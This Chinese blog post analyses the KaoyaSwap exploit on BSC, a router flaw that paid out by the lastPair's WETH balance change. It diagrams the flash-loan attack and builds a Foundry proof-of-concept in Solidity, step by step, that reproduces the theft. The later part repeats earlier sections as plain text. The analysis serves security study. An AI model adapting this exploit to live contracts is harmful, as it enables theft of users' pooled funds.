图解KaoyaSwap安全攻击过程和写POC全过程

老白
更新于 2024-08-28 10:15
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为了看的清晰，本文先利用画图和数据分析整个事件的攻击原理和流程，然后再去写POC。本文的代码可以在Github是下载：https://github.com/rickwang9/HackerAnalysis

为了看的清晰，本文先分析整个事件的攻击原理和流程，然后再去写POC。
本文的代码可以在Github是下载：https://github.com/rickwang9/HackerAnalysis

# 一. KaoyaSwap的背景知识
KaoyaSwap（烤鸭），后面简称Kaoya。是一个uniswapV2 的fork产物+项目方一点自己的微创新，而漏洞就恰恰是这个微创新带来的。

## uniswapV2的特点
先回顾下uniswapV2的swap过程：
- User：只和Router交互，token授权也是给Router
- Router：两个作用，1根据用户需求找到对应的pair；2将用户的token转给pair。
- Pair：拿到用户token，将用户需要的token直接转给用户（不经过Router）。

整个过程中，Router只是将用户的token过了一下手，平时并不持有token，好了回顾完毕。

![5dex_kaoya_1uniswapv2.png](https://img.learnblockchain.cn/attachments/2023/12/kfJljWih6569a23c257a6.png)

## Kaoya和uniswap的不同之处
既然Kaoya是fork的uniswapV2，就只需要说说它的创新点：
- uniswap：token都是每个pair池自己管理，和Router无关。
- kaoya：token全都由router管理，和Pair无关。

![5dex_kaoya_2compare_uniswap.png](https://img.learnblockchain.cn/attachments/2023/12/zn19jBDz6569a579a686d.png)

![5dex_kaoya_2compare_kaoyaswap.png](https://img.learnblockchain.cn/attachments/2023/12/pRzSOdVP656d91e684682.png)

**创新点本质就一句话：“Pair交易逻辑和资金隔离，Router作为金库保管所有资金。”**

## 长path交易

张三想用 1 个BNB交易**1800U**，path=[**WBNB**, **USDC**]。

假如，张三感觉自己钱太多了，想买个土狗币**TG**玩玩，虽然没有交易对**WBNB-TG**，但是有**USDC-TG**。张三就可以通过path=[**WBNB, USDC,TG**]一笔交易，通过 BNB 买到 TG。path 的长度大于2就是 **长path**。而Kaoya就在处理**长path**的地方出现了bug。

## Kaoya出现bug的地方：
1.`swapExactTokensForETHSupportingFeeOnTransferTokens`出现bug：转账只和lastPair
有关。bug具体有怎样的影响，攻击者又是如何利用它抢钱的，下面会一一展开。 
```js
address lastPair = UniswapV2Library.pairFor(factory, path[path.length - 2], path[path.length - 1]);
        uint balanceBefore = getTokenInPair(lastPair,WETH);
        _swapSupportingFeeOnTransferTokens(path, address(this));
        uint balanceAfter = getTokenInPair(lastPair,WETH);
        uint amountOut = balanceBefore.sub(balanceAfter);
        require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        _transferETH(to, amountOut);
```

# 二. 攻击流程

## 概述攻击步骤
- step1：闪电贷 1800 个WBNB.
- step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token）；拿出 100 个WBNB 交易来 6,666 个 BUSD。
- step3：为 WBNB TA TB 这 3 个Token创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。
 WBNB-TA 添加流动性为 [1026e18, 50e18]；
 TB-TA 添加流动性为 [1e18, 1e18]；
 WBNB-TB 添加流动性为 [1e18, 1e18]。
- **step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。**
- step5：移除 step3 创建的 3 个池子的流动性。
- step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将  23,364 个KY交易为WBNB。
- step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

上面的流程现在看不懂没关系，下面会展开的讲。很明显，问题出现在 step4。现在，我们结合数据，看看整个流程各个池子token数量上的变化。

## 详解攻击流程

### 攻击前的状态
![5dex_kaoya_4inittabledata.png](https://img.learnblockchain.cn/attachments/2023/12/K2UwUmA26569e7a0966f9.png)

### step2解析 
-  673 个WBNB -> 125,022 个 KY
-  100 个WBNB -> 6,666 个 BUSD

![5dex_kaoya_5step2_data.png](https://img.learnblockchain.cn/attachments/2023/12/Qr43pGgt6569e91d25c59.png)

对比两张图能得到以下信息：
- 交易的 WBNB 都远远大于池子原有的 WBNB 数量，导致大部分的 KY 和 BUD 都到了攻击者手中。
- 由于池子 WBNB 数量剧增，导致 Kaoya 池子的价格和 Pancake 池子的价格有非常大的偏差。

### step3解析
用户在攻击前，先添加流动性

![5dex_kaoya_6step3_add.png](https://img.learnblockchain.cn/attachments/2023/12/NotuqNRM6569eac39ad07.png)

这张表就一个有用信息：第一个池子 WBNB-TA的数量 WBNB=1026,TA=50 都远远大于另外两个池。

### step4解析

#### **bug代码**

![5dex_kaoya_7step4_code.png](https://img.learnblockchain.cn/attachments/2023/12/rOa48skD6569edcff2158.png)

再次看下代码，能得到以下信息：
1. 最终转给用户的amountOut是Balance前后变化的差值。
2. balanceBefore是交易前，lastPair的WETH数量；balanceAfter是交易后，lastPair的WETH数量。
3. lastPair一定要包含 WETH。

#### **攻击哪个池子**

**需求1：swap出来大量的WETH**

既然要盈利，当然是赚越多的WETH越好：
- 如果我用同等价值的币，比如USDC交换，那么毫无意义，因为我的USDC最终留在了池子中。
- 如果能用垃圾币，换大量WETH最好，但是Kaoya里没有，而且我也没有大量的空气币。
- 最好的方案，我自己创建空气币，然后和 WETH 组对添加流动性。再用我的大量空气币 swap WETH.

#### path的精妙设计

**需求2：path需要设计好**

攻击者的 path 设计的非常巧妙，在看答案之前，我们先尝试自己设计下，方面我们理解 攻击者的构思。前面看了问题代码，我们知道`lastPair`一定要有WETH。假设有3个token， X, Y, WETH。

方案1. WETH 放在最后，[X, Y, WETH]
- ` X -> Y`
- ` Y -> WETH`

这个方案有个致命问题：假如最后一笔（Y -> WETH）交易出来了100个WETH,然后Kaoya将100个WETH转给我了，这100个WETH就是我的流动性。赚的是自己的钱，白扯。由此得出结论：
**PATH设计要求1：最终WETH要留在池子中。**

方案2. `lastPair`有WETH，又不能放最后，就前移一位，[X,WETH,Y]
- `X -> WETH`
- `WETH -> Y`

这个方案也有问题。WETH是`lastPair`的tokenIn，也就是balanceBefore < balanceAfter，
这样`amoutOut=balanceAfter-balanceBefore`就成了负数，代码`revert`。由此得出结论：
**PATH设计要求2：WETH要在最后一位。**

**path的设计**

设计挺难，我放弃了。看看攻击者的设计：
[`TA, WBNB`,TB,`TA,WBNB`]

看到华点了吧，[`TA,WBNB`]重复出现两次，分别是`firstPair`和`lastPair`。
为什么要重复出现呢？其实和前面的 2 个结论有关，具体的原因，文字解释有些费劲，让我们跟着流程和数据往下看。

这是3个池子的初始化状态
![5dex_kaoya_8step4_addLiu.png](https://img.learnblockchain.cn/attachments/2023/12/Qe7Y0pxz656a9bc27f055.png)

`path.length == 5`，就有 4 笔交易，我分 4 步图解：

1. TA -> WBNB，池子1

[`TA, WBNB`,TB,TA,WBNB]

![5dex_kaoya_9step4_swap1.png](https://img.learnblockchain.cn/attachments/2023/12/OstZwp7F656a9e0ad5677.png)

2. WBNB -> TB，池子2

[TA, `WBNB,TB`,TA,WBNB]

![5dex_kaoya_10step4_swap2.png](https://img.learnblockchain.cn/attachments/2023/12/HR5Inxvz656aa01b2cde0.png)

3. TB -> TA，池子3

[TA, WBNB,`TB,TA`,WBNB]

![5dex_kaoya_11step4_swap3.png](https://img.learnblockchain.cn/attachments/2023/12/oobI5hRO656aa1af5921e.png)

4. TA -> WBNB，**重回池子1**

[TA, WBNB,TB,`TA,WBNB`]

![5dex_kaoya_12step4_swap4.png](https://img.learnblockchain.cn/attachments/2023/12/ZcMiO6f2656aa880cf423.png)

看下最终的数据：

![5dex_kaoya_13step4_swapfinal.png](https://img.learnblockchain.cn/attachments/2023/12/G9mcR0ZY656aa9fab903d.png)

**重点是WBNB**，几乎1027个（有小数点的损失，为了简洁我省略了）依然留在池子中。这些是攻击者可以移除流动性，拿回手中的。

而Kaoya要根据`lastPair`的整个交易前后WBNB余额差值，给攻击者转账，这个差值，主要发生在第一笔交易=1026-6=1020 Ether（第一笔和最后一笔是同一个Pair），这个是攻击者利用Router的漏洞白赚的。

再强调下，Kaoya能给攻击者转账1020个WBNB，是因为Router管理金库，这些WBNB其实都是其他池子的；如果是Uniswap，哪怕有`lastPair`的bug，但是Router手里没钱，攻击也不会成功的。

这就是整个攻击最关键的一步。剩下的就是收尾了。

### step5解析

移除三个池子的流动性，1027个WBNB重回到攻击者手中。没什么好说的，这些钱本来的作用就是铺路的，连接攻击者和漏洞。

### step6解析

在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将  23,364 个KY交易为WBNB。

现在攻击者手里还有 step2 交易来的`125,022 个 KY` 需要善后。Kaoya被攻击，它的代币必然要大跌，不能留在手里。在BSC链，最好的出路就是换WBNB和BUSD。

攻击者讲KY分成了3份，分钱去3个池子交易。为什么分三份，每份的数额是随便分配的吗？
这个问题先留个悬念，放在`更多的思考`去讨论。

### step7解析

换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。这一步也没啥好说，只能说在web3，一个bug真贵。

# 三. 更多的思考

整个过程分析完了，攻击原理也明了。但是呢，还有很多东西还那么透彻，
此时还有几个疑惑：
1. 为什么在攻击前要swap大量的KY Token？
2. 为什么添加流动性，只加了1020个WBNB,却要闪电贷1800个WBNB?
3. 攻击后，为什么将KY分了三笔交易出去，每笔的金额又是怎么选择的？

我们不是攻击者，无法知道他心里所想。但是却可以在众多数据中找到一些蛛丝马迹。

（1）回到step4攻击后的数据

![5dex_kaoya_13step4_swapfinal.png](https://img.learnblockchain.cn/attachments/2023/12/G9mcR0ZY656aa9fab903d.png)

`balanceBefore=1026Ether,balanceAfter=6Ether`
`amountOut=balanceBefore-balanceAfter=1020 Ether`

此时此刻，Router手里至少`2040`多个WBNB：
-   第一个 `1020` WBNB，是攻击者add到池子交易后还在池子里，属于攻击者。
-   第二个 `1020` WBNB，是Router要转给攻击者的，属于被攻击者抢走的。

先看看攻击前，Kaoya的资产状态。

![5dex_kaoya_15thinkmore_int.png](https://img.learnblockchain.cn/attachments/2023/12/GJ0TZvPU656acb548a847.png)
此时Kaoya只有 219+28=`247` WBNB。

如果要从 `247` 到 `2040`，还需要大约 `1800` 个WBNB，所以闪电贷了 `1800`。

这个`1800`留下 `1020` 加流动性，还有大约 `780` 需要给Kaoya，怎么给？当然是交易：

于是，就有了 **step2**：拿出 `673` 个WBNB 交易来 125,022 个 KY ；拿出 `100` 个WBNB 交易来 6,666 个 BUSD。step2 之后，Kaoya 就有了 `1020` 个 WBNB。然后就是攻击者添加流动加了`1026` 个 WBNB，swap之后，Kaoya把自己的 `1020` 转给了攻击者，攻击者移除流动性又拿回了`1026` 个 WBNB，这些大家都很熟了，我就不啰嗦了 。

还有个疑问？初始的Kaoya只有`247`个WBNB, 为什么要利用漏洞转`1020`个WBNB，为什么不是 `250` 个， 不是 `500` 个。还是回到Kaoya的初始资产
![5dex_kaoya_15thinkmore_int.png](https://img.learnblockchain.cn/attachments/2023/12/GJ0TZvPU656acb548a847.png)

因为uniswap的池子，都是权重50-50的两张token：
- kaoya(KY-WBNB)：219 WBNB, KY 165040 ≈ 219 WBNB。价值≈219*2=438个 。
- kaoya(BUSD-WBNB)：28 WBNB, BUSD 8586。价值≈28*2=56个 。
- kaoya(BUSD-KY)：没有WBNB, 12w BUSD，前面0.8W BUSD = 28 WBNB，价值 ≈ 28*15 *2 = 840。

因此， 三个池子的最大价值 = `1334` 个WBNB。

注意， 这个 1334 这个估算，非常不严格，**因为 AMM的交易有滑点，数量越大，滑点越多，有效价格和当前价格差距越大**。所以，1334 是有水分的，我猜攻击者也是因此打了折扣，但也要利润最大化，才选择了 `1020`，这比选择 `250`，`500` 都有道理。

为什么是 `1020`， 不是 `1010` ，`1050`，程序多调试几次，应该能拿到最优参数，但太细节了，就不是本文关心的了。

（2）回到step6

攻击者有 12w个KY。在KaoyaSwap，将 `83,918` 个KY交易为BUSD；在PancakeSwap将 `17,740` 个KY交易为BUSD；将  `23,364` 个KY交易为WBNB。

KY要统统换走，在 step6解析 解释过了，但是没解释为什么分了三笔，每笔的具体数字是怎么确定的，还没解释。

依然初始资产图：

![5dex_kaoya_15thinkmore_int.png](https://img.learnblockchain.cn/attachments/2023/12/GJ0TZvPU656acb548a847.png)
行1和行2的WBNB被掏空了，只剩下行3，行4，行5三个池子。

还是那个原因：**因为 AMM的交易有滑点，数量越大，滑点越多，有效价格和当前价格差距越大**。 所以1个池子滑点大了，就得拆分资金去另一个池子交易。

![5dex_kaoya_16thinkmore_last.png](https://img.learnblockchain.cn/attachments/2023/12/0VauiFO5656af528cdc81.png)

125,022 个 KY，按照三个池子的 67.12%，18.69%， 14.19%来分配。

`83,914`，`17,740`，`23,366` （按照百分比计算的）
`83,918` ，`17,740`，`23,362` （原数据）

这结果，不能说一模一样，也算是真假难辨了。

# 四. POC

## 准备工作

### 最佳学习资料：[DeFiHackLabs](https://github.com/SunWeb3Sec/DeFiHackLabs)

[SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc)
[SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04_write_your_own_poc/)
[SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc/)

工程里有大量POC代码，非常推荐！！！

### 回顾攻击步骤

* step1：闪电贷 1800 个WBNB.
* step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。
* step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。\
  WBNB-TA 添加流动性为 \[1026e18, 50e18]；\
  TB-TA 添加流动性为 \[1e18, 1e18]；\
  WBNB-TB 添加流动性为 \[1e18, 1e18]。
* **step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=\[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。**
* step5：移除 step3 创建的 3 个池子的流动性。
* step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。
* step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

### 具体准备工作1：好用的攻击交易trace链接，推荐用phaIcon，POC居家必备好伴侣。
https://explorer.phalcon.xyz/tx/bsc/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

`phaIcon` 可以看这个，非常容易入手：[第 8 期 使用 Phalcon 浏览器分析和调试交易](https://learnblockchain.cn/video/play/465)

![5dex_kaoya_poc_final.png](https://img.learnblockchain.cn/attachments/2023/12/gy2wNDI2656d8d699505e.png)

我总结写POC，就一句话：“**将攻击合约的第一个子层级调用写出来即可**”。当然还有很多细节，但是小问题。

### 具体准备工作2： 找出攻击基本信息

![5dex_kaoya_poc_1.png](https://img.learnblockchain.cn/attachments/2023/12/FyETLZBG656b2ff22900c.png)

代码如下：
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : 37,294 BUSD and 271.2 WBNB.
// Attacker : https://etherscan.io/address/0xd87FC924d4AfC6A0d086F12137CDDFeccf270307
// Attack Contract : https://etherscan.io/address/0xA722ca7Bf032dE8f7A675da75DFeC661bc89aCE9
// Vulnerable Contract : https://etherscan.io/address/0x879EAD67C92ec2bFa70fa9d157F500B7b31b64AB
// Attack Tx : https://bscscan.com/tx/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x97af028838604c59f93b279d3b6f6cbbf74bc680#code

// @Analysis
// Twitter Guy :https://twitter.com/BlockSecTeam/status/1562286943957708800
// https://explorer.phalcon.xyz/tx/bsc/0xc8db3b620656408a5004844703aa92d895eb3527da057153f0b09f0b58208d74

contract ContractTest is Test {

}

```

### 具体准备工作3： 找出涉及的DEX的Router接口和Token信息。

```solidity
interface IDPP{
    function flashLoan(uint baseAmouont, uint quoteAmount, address assetTo, bytes calldata data) external;
}
interface KAOYA_ROUTER is Uni_Router_V2{
    function getTokenInPair(address pair,address token) external view returns (uint);
}
contract ContractTest is Test{
    IDPP dpp = IDPP(0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4);

IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));//因为它有payable的fallback
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
    IERC20 KY = IERC20(0xa8a33e365D5a03c94C3258A10Dd5d6dfE686941B);
    SimpleToken TA;
    SimpleToken TB;

address KAOYA_FACTORY_ADDRESS = 0xbFB0A989e12D49A0a3874770B1C1CdDF0d9162aA;
    KAOYA_ROUTER kaoyaRouter = KAOYA_ROUTER(0x879EAD67C92ec2bFa70fa9d157F500B7b31b64AB);
    Uni_Router_V2 pancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    
    function setUp() public {
        vm.createSelectFork("bsc",20705000-1);

vm.label(address(WBNB), 'WBNB');
        vm.label(address(BUSD), 'BUSD');
        vm.label(address(KY), 'KY');

}
}
```

## 具体写POC逻辑

### step1：闪电贷 1800 个WBNB.

```solidity
    function testExploit() public {
        vm.deal(address(this),1e18);
        TA = new SimpleToken('TokenA', 'TA');
        TB = new SimpleToken('TokenB'   , 'TB');
        vm.label(address(TA), 'TA');
        vm.label(address(TB), 'TB');
        TA.mint(10000e18);
        TB.mint(100e18);
        dpp.flashLoan(1800e18, 0, address(this), new bytes(1));
        finalInterest();
    }
    function finalInterest() public {
        console.log('finalInterest');
        emit log_named_decimal_uint("mybalance WBNB" , WBNB.balanceOf(address(this)), WBNB.decimals());
        emit log_named_decimal_uint("mybalance BUSD" , BUSD.balanceOf(address(this)), BUSD.decimals());
        emit log_named_decimal_uint("mybalance KY" , KY.balanceOf(address(this)), KY.decimals());
    }
```

### step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token(权杖)）；拿出 100 个WBNB 交易来 6,666 个 BUSD。

```solidity
    function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        emit log_named_decimal_uint("mybalance WBNB" , WBNB.balanceOf(address(this)), WBNB.decimals());
        WBNB.approve(address(kaoyaRouter), type(uint256).max);//自己写的代码，每行都有问题，收获太大了。wbnb地址错了，写成了usdc。。。
        address[] memory  path = new address[](2);
        path[0]=address(WBNB);
        path[1]=address(KY);
        kaoyaRouter.swapExactTokensForTokens(672.8e18, 1e18, path, address(this), block.timestamp+1000);

address[] memory  path2 = new address[](2);
        path2[0] = address(WBNB);
        path2[1] = address(BUSD);
        kaoyaRouter.swapExactTokensForTokens(100e18, 1e18, path2, address(this), block.timestamp+1000);

}
```

### step3：为 WBNB TA TB 这 3 个Token(权杖)创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。
  WBNB-TA 添加流动性为 \[1026e18, 50e18]；\
  TB-TA 添加流动性为 \[1e18, 1e18]；\
  WBNB-TB 添加流动性为 \[1e18, 1e18]。

```solidity
function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        TA.approve(address(kaoyaRouter), type(uint256).max);
        TB.approve(address(kaoyaRouter), type(uint256).max);
        (, , uint256 liquidity1) = kaoyaRouter.addLiquidity(address(WBNB), address(TA), 1026.19e18, 50e18, 380, 40, address(this), block.timestamp+1000);
        (, , uint256 liquidity2) = kaoyaRouter.addLiquidity(address(WBNB), address(TB), 1e18, 1e18, 1, 1, address(this), block.timestamp+1000);
        (, , uint256 liquidity3) = kaoyaRouter.addLiquidity(address(TA), address(TB), 1e18, 1e18, 1, 1, address(this), block.timestamp+1000);
}
```

### step4：调用函数`swapExactTokensForETHSupportingFeeOnTransferTokens`，path=\[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。

```solidity
function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        ...
        //step4
        address[] memory path3 = new address[](5);
        path3[0] = address(TA);
        path3[1] = address(WBNB);
        path3[2] = address(TB);
        path3[3] = address(TA);
        path3[4] = address(WBNB);
        kaoyaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(8000e18, 1, path3, address(this), block.timestamp+1000);
   
}
```

### step5：移除 step3 创建的 3 个池子的流动性。

```solidity
function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
 //step2
 ...
 //step3
 ...
 //step4
 ...
 //step5
 removeLiquidity(address(WBNB), address(TA), liquidity1, true);
 removeLiquidity(address(WBNB), address(TB), liquidity2, true);
 removeLiquidity(address(TB), address(TA), liquidity3, false);
}
 function removeLiquidity(address token0, address token1, uint liquidity, bool containETH) public {
 (address token0, address token1) = sortTokens(token0, token1);
 Uni_Pair_V2 pair = Uni_Pair_V2(pairFor(KAOYA_FACTORY_ADDRESS, token0, token1));
 pair.approve(address(kaoyaRouter), type(uint256).max);
 console.log('liquidity', liquidity);
 //报错，transferFrom，from本合约，对了，需要LP的。之前的pair接口没有approve不对。
 if(containETH){
 kaoyaRouter.removeLiquidityETHSupportingFeeOnTransferTokens(token0, liquidity, 1, 1, address(this), block.timestamp+1000);
 }else{
 kaoyaRouter.removeLiquidity(token0, token1, liquidity, 1, 1, address(this), block.timestamp+1000);
 }
 }
 // returns sorted token addresses, used to handle return values from pairs sorted in this order
 function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
 require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
 (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
 require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
 }

// calculates the CREATE2 address for a pair without making any external calls
 function pairFor(address factory, address tokenA, address tokenB) internal view returns (address pair) {
 (address token0, address token1) = sortTokens(tokenA, tokenB);
// Explicit type conversion not allowed from "uint256" to "address".
 pair = address(uint160(uint(keccak256(abi.encodePacked(
 hex'ff',
 KAOYA_FACTORY_ADDRESS,
 keccak256(abi.encodePacked(token0, token1)),
 hex'e6d6d0a3b71886f20325ef74a341f4805b42c4e8e6666b6d5d55ae47741e3e78' // init code hash
 )))));
 }
```

### step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。

```solidity
function DPPFlashLoanCall(address msgSender, uint baseAmount, uint quoteAmount, bytes calldata data) public {
        //step2
        ...
        //step3
        ...
        //step4
        ...
        //step5
        ...
        
        //step 6 KY 换BUSD
        WBNB.deposit{value:address(this).balance}();
        KY.approve(address(kaoyaRouter), type(uint256).max);
        KY.approve(address(pancakeRouter), type(uint256).max);
        address[] memory  path4 = new address[](2);
        path4[0]=address(KY);
        path4[1]=address(BUSD);
        kaoyaRouter.swapExactTokensForTokens(83_918e18, 1e18, path4, address(this), block.timestamp+1000);
        pancakeRouter.swapExactTokensForTokens(17_740e18, 1e18, path4, address(this), block.timestamp+1000);
}

```

### step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

```solidity
 //step 7
 WBNB.transfer(address(dpp), 1800e18);
```

# 五. 最后

这是Blocksec的大佬吴磊老师留的作业，看似简单，做起来却费了很多心思，此时此刻心里想起了那句话：**路漫漫其修远兮，吾将上下而求索**。

为了看的清晰，本文先分析整个事件的攻击原理和流程，然后再去写POC。本文的代码可以在Github是下载：https://github.com/rickwang9/HackerAnalysis

一. KaoyaSwap的背景知识

KaoyaSwap（烤鸭），后面简称Kaoya。是一个uniswapV2 的fork产物+项目方一点自己的微创新，而漏洞就恰恰是这个微创新带来的。

uniswapV2的特点

先回顾下uniswapV2的swap过程：

User：只和Router交互，token授权也是给Router
Router：两个作用，1根据用户需求找到对应的pair；2将用户的token转给pair。
Pair：拿到用户token，将用户需要的token直接转给用户（不经过Router）。

整个过程中，Router只是将用户的token过了一下手，平时并不持有token，好了回顾完毕。

Kaoya和uniswap的不同之处

既然Kaoya是fork的uniswapV2，就只需要说说它的创新点：

uniswap：token都是每个pair池自己管理，和Router无关。
kaoya：token全都由router管理，和Pair无关。

创新点本质就一句话：“Pair交易逻辑和资金隔离，Router作为金库保管所有资金。”

长path交易

张三想用 1 个BNB交易1800U，path=[WBNB, USDC]。

假如，张三感觉自己钱太多了，想买个土狗币TG玩玩，虽然没有交易对WBNB-TG，但是有USDC-TG。张三就可以通过path=[WBNB, USDC,TG]一笔交易，通过 BNB 买到 TG。path 的长度大于2就是 长path。而Kaoya就在处理长path的地方出现了bug。

Kaoya出现bug的地方：

1.swapExactTokensForETHSupportingFeeOnTransferTokens出现bug：转账只和lastPair 有关。bug具体有怎样的影响，攻击者又是如何利用它抢钱的，下面会一一展开。

address lastPair = UniswapV2Library.pairFor(factory, path[path.length - 2], path[path.length - 1]);
        uint balanceBefore = getTokenInPair(lastPair,WETH);
        _swapSupportingFeeOnTransferTokens(path, address(this));
        uint balanceAfter = getTokenInPair(lastPair,WETH);
        uint amountOut = balanceBefore.sub(balanceAfter);
        require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
        _transferETH(to, amountOut);

二. 攻击流程

概述攻击步骤

step1：闪电贷 1800 个WBNB.
step2：拿出 673 个WBNB 交易来 125,022 个 KY （KaoyaSwap的官方Token）；拿出 100 个WBNB 交易来 6,666 个 BUSD。
step3：为 WBNB TA TB 这 3 个Token创建了 3 个池子并添加流动性（TA TB 是攻击者随意创建的）。 WBNB-TA 添加流动性为 [1026e18, 50e18]； TB-TA 添加流动性为 [1e18, 1e18]； WBNB-TB 添加流动性为 [1e18, 1e18]。
step4：调用函数swapExactTokensForETHSupportingFeeOnTransferTokens，path=[TA, WBNB,TB,TA,WBNB]，amountIn= 8000e18 ，也就是用 8000 个TA来发起交易。
step5：移除 step3 创建的 3 个池子的流动性。
step6：在KaoyaSwap，将 83,918 个KY交易为BUSD；在PancakeSwap将 17,740 个KY交易为BUSD；将 23,364 个KY交易为WBNB。
step7：换闪电贷 1800 个WBNB，获利了结 272 个WBNB, 37,294 个BUSD。

上面的流程现在看不懂没关系，下面会展开的讲。很明显，问题出现在 step4。现在，我们结合数据，看看整个流程各个池子token数量上的变化。

详解攻击流程

攻击前的状态

step2解析

673 个WBNB -> 125,022 个 KY
100 个WBNB -> 6,666 个 BUSD

对比两张图能得到以下信息：

交易的 WBNB 都远远大于池子原有的 WBNB 数量，导致大部分的 KY 和 BUD 都到了攻击者手中。
由于池子 WBNB 数量剧增，导致 Kaoya 池子的价格和 Pancake 池子的价格有非常大的偏差。

step3解析

用户在攻击前，先添加流动性

这张表就一个有用信息：第一个池子 WBNB-TA的数量 WBNB=1026,TA=50 都远远大于另外两个池。

step4解析

bug代码

再次看下代码，能得到以下信息：

最终转给用户的amountOut是Balance前后变化的差值。
balanceBefore是交易前，lastPair的WETH数量；balanceAfter是交易后，lastPair的WETH数量。
lastPair一定要包含 WETH。

攻击哪个池子

需求1：swap出来大量的WETH

既然要盈利，当然是赚越多的WETH越好：

如果我用同等价值的币，比如USDC交换，那么毫无意义，因为我的USDC最终留在了池子中。
如果能用垃圾币，换大量WETH最好，但是Kaoya里没有，而且我也没有大量的空气币。
最好的方案，我自己创建空气币，然后和 WETH 组对添加流动性。再用我的大量空气币 swap WETH.

path的精妙设计

需求2：path需要设计好

攻击者的 path 设计的非常巧妙，在看答案之前，我们先尝试自己设计下，方面我们理解攻击者的构思。前面看了问题代码，我们知道lastPair一定要有WETH。假设有3个token， X, Y, WETH。

方案1. WETH 放在最后，[X, Y, WETH]

X -> Y
Y -> WETH

这个方案有个致命问题：假如最后一笔（Y -> WETH）交易出来了100个WETH,然后Kaoya将100个WETH转给我了，这100个WETH就是我的流动性。赚的是自己的钱，白扯。由此得出结论： PATH设计要求1：最终WETH要留在池子中。

方案2. lastPair有WETH，又不能放最后，就前移一位，[X,WETH,Y]

X -> WETH
WETH -> Y

这个方案也有问题。WETH是lastPair的tokenIn，也就是balanceBefore < balanceAfter，这样amoutOut=balanceAfter-balanceBefore就成了负数，代码revert。由此得出结论： PATH设计要求2：WETH要在最后一位。

path的设计

设计挺难，我放弃了。看看攻击者的设计： [TA, WBNB,TB,TA,WBNB]

看到华点了吧，[TA,WBNB]重复出现两次，分别是firstPair和lastPair。为什么要重复出现呢？其实和前面的 2 个结论有关，具体的原因，文字解释有些费劲，让我们跟着流程和数据往下看。

这是3个池子的初始化状态

path.length == 5，就有 4 笔交易，我分 4 步图解：

TA -> WBNB，池子1

[TA, WBNB,TB,TA,WBNB]

WBNB -> TB，池子2

[TA, WBNB,TB,TA,WBNB]

TB -> TA，池子3

[TA, WBNB,TB,TA,WBNB]

TA -> WBNB，重回池子1

[TA, WBNB,TB,TA,WBNB]

看下最终的数据：

重点是WBNB，几乎1027个（有小数点的损失，为了简洁我省略了）依然留在池子中。这些是攻击者可以移除流动性，拿回手中的。

而Kaoya要根据lastPair的整个交易前后WBNB余额差值，给攻击者转账，这个差值，主要发生在第一笔交易=1026-6=1020 Ether（第一笔和最后一笔是同一个Pair），这个是攻击者利用Router的漏洞白赚的。

